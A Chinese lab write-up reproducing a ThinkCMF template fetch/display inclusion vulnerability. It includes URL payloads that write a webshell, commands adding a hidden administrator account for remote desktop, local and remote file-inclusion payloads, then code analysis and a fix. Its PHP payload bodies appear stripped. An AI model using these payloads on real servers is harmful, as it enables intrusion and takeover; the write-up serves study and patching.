漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现

0x00 简介

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。

0x01 漏洞介绍

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 环境搭建

本次使用的环境版本是ThinkCMF2.2.3版本,直接下载相关压缩包,解压之后放到phpstudy下面,然后访问该目录,按照ThinkCMF的安装向导进行安装。

1.下载ThinkCMF2.2.3版本
下载地址: https://github.com/thinkcmf/cmfx
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第1张图片

2.解压放到phpstudy的www目录下
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第2张图片

3.在浏览器中访问ThinkCMF
http://IP地址/文件夹名称
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第3张图片

4.进行安装
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第4张图片
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第5张图片
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第6张图片漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第7张图片
安装完成。
到这里漏洞环境就搭建好了,接下来就可以进行漏洞测试了。

0x04 漏洞利用

  • 第一种方法:使用a参数的fetch方法,将想查看的内容写入到一个文件中,然后执行该文件,就可以查看到内容了。

(1):查看phpinfo()信息
构造payload:
?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’’)

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第8张图片
执行之后页面是空白的,然后执行该文件。
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第9张图片
执行之后查看到了php的相关的信息。

(2):上传一句话木马
构造payload:
?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test1.php’,’’)

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第10张图片
页面为空白,然后执行该文件
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第11张图片
使用菜刀进行连接。
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第12张图片
使用菜刀成功连接。

(3):使用菜刀虚拟终端新建用户打开远程桌面
新建用户并添加到管理员组
net user wwl 123 /add
net localgroup administrators wwl /add

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第13张图片
在kali上执行以下命令
rdesktop -uwwl -p123 192.168.223.128
-u后面跟用户名
-p后面跟密码

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第14张图片
这样就通过kali打开了目标主机的远程桌面。

  • 第二种方法:通过构造a参数的display方法,实现任意文件包含

(1):本地文件包含
构造payload
?a=display&templateFile=README.md

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第15张图片
构造payload
?a=display&templateFile=Nginx.conf

在这里插入图片描述
构造payload
?a=display&templateFile=C:\WINDOWS\system32\drivers\etc\hosts

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第16张图片

(2):远程文件包含
构造payload
?a=display&templateFile=http://192.168.223.160/1.txt

漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第17张图片
无法进行远程文件包含。

0x05 漏洞分析

进行代码审计
由于ThinkCMF是开源项目,下载相关的源码进行审计

(1):查看主页代码
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第18张图片
发现了项目路径,去application里面查看。

(2):在application里面发现了IndexController.class.php
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第19张图片
发现存在display,主页内容太少,查看其父类。

(3):查看父类HomebaseController.class.php
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第20张图片
漏洞复现----ThinkCMF框架任意内容包含漏洞分析复现_第21张图片
发现display和fetch是public,可以被任意引用。

拓展
public的访问权限是最松的,它可以在同一个包内访问,也可以在不同包内访问,它表示紧随其后的元素对任何人都是可用的
private字面的意思是私有,可见它的访问权限是比较严格的,它表示除类型创建者和类型的内部方法之外的任何人都不能访问的元素。它就像一堵墙,当有人试图访问它时,就会在编译时得到错误信息
protected字面的意思是受保护的,它与private关键字的作用相当,差别仅在于继承的类可以访问protected成员,但是不能访问private成员

0x06 漏洞成因

引起漏洞最主要的问题就是因为fetch函数和display函数是public类型

fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。

0x07 修复方案

可以通过漏洞成因看出来,引起漏洞最主要的原因就是fetch和display函数是public,可以在外面被访问,因此修复方案就是将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected,使他们无法在外面被访问。

你可能感兴趣的:(漏洞复现)